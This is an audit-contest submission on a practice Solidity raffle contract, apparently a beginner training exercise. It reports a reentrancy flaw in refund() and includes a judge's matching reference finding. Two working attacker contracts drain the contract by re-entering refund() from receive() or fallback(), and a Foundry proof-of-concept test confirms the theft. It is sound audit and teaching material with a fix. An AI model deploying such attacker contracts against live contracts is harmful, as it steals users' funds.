Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in PuppyRaffle::refund allows attacker to drain all contract funds

mistwood

Root + Impact

Description

The `refund` function sends ETH to `msg.sender` (line 101) before setting `players[playerIndex]` to `address(0)` (line 103), violating the Checks-Effects-Interactions pattern. An attacker contract can re-enter `refund()` via its `receive()` function to repeatedly withdraw the entrance fee until the contract is drained.
// Root cause in the codebase with @> marks to highlight the relevant section
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee); // ETH sent BEFORE state update
@> players[playerIndex] = address(0); // State updated AFTER external call
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

High — Any user can deploy an attacker contract and call `refund()`.

Impact:

  • High — All ETH in the contract can be stolen, resulting in complete loss of funds for all participants.

Proof of Concept

  1. Attacker deploys a malicious contract and enters the raffle with 1 ETH.

  2. Attacker calls refund(), which sends 1 ETH to the attacker contract.

  3. The attacker contract's receive() is triggered and immediately calls refund() again.

  4. Since players[index] has not been zeroed yet, the require checks still pass.

  5. This loop repeats until the contract is fully drained. With 4 other players, the attacker steals all 5 ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
/// @title ReentrancyAttacker
/// @notice This contract exploits the reentrancy vulnerability in PuppyRaffle's refund() function.
/// @dev The attack works because refund() sends ETH before updating state (violating CEI pattern).
/// When this contract receives ETH, its receive() function re-enters refund() repeatedly,
/// draining all funds from PuppyRaffle before players[index] is set to address(0).
contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public entranceFee;
uint256 public attackerIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = _puppyRaffle.entranceFee(); // Read entrance fee from target contract
}
​
/// @notice Entry point for the attack
/// @dev Steps: enter raffle as a legitimate player -> get our index -> trigger first refund
function attack() external payable {
// Step 1: Build address array with our own address
address[] memory players = new address[](1);
players[0] = address(this);
​
// Step 2: Enter the raffle as a legitimate player
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
// Step 3: Look up our index in the players array
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
​
// Step 4: Call refund to trigger the first ETH transfer, which starts the reentrancy loop
puppyRaffle.refund(attackerIndex);
}
​
/// @notice Automatically triggered when this contract receives ETH
/// @dev This is the core of the reentrancy attack:
/// Each time we receive ETH from refund(), we immediately call refund() again.
/// Since players[attackerIndex] has NOT been set to address(0) yet (state not updated),
/// the require checks still pass, and we get another refund.
/// We stop when PuppyRaffle runs out of ETH to prevent a revert.
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
​
/////////////////////////////////////
/// PoC #1: Reentrancy on refund ///
/////////////////////////////////////
/// @notice Proves that an attacker can drain all ETH from PuppyRaffle via reentrancy.
/// @dev Vulnerability: refund() sends ETH (line 101) BEFORE updating state (line 103).
/// This violates the Checks-Effects-Interactions (CEI) pattern.
/// An attacker contract's receive() re-enters refund() before players[index] is zeroed out,
/// allowing repeated withdrawals of the entrance fee until the contract is drained.
function testReentrancyRefund() public {
// Step 1: Let 4 legitimate players enter the raffle. Contract now holds 4 ETH.
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
// Step 2: Deploy the attacker contract and fund it with 1 ETH for the entrance fee
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(attacker), entranceFee);
​
// Step 3: Record balances before the attack
uint256 attackerBalanceBefore = address(attacker).balance; // 1 ETH
uint256 raffleBalanceBefore = address(puppyRaffle).balance; // 4 ETH
​
// Step 4: Execute the attack — attacker enters raffle then triggers reentrancy via refund
attacker.attack();
​
// Step 5: Verify the attack result
uint256 attackerBalanceAfter = address(attacker).balance;
uint256 raffleBalanceAfter = address(puppyRaffle).balance;
​
// The attacker should have stolen all funds (own 1 ETH + victims' 4 ETH = 5 ETH)
assertEq(raffleBalanceAfter, 0);
assertEq(attackerBalanceAfter, attackerBalanceBefore + raffleBalanceBefore);
}
​
​
​

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern: update state and emit the event before making the external ETH transfer. This way, re-entrant calls will see players[index] == address(0) and fail the require check.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ players[playerIndex] = address(0); // Update state FIRST
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee); // External call LAST
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
​
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!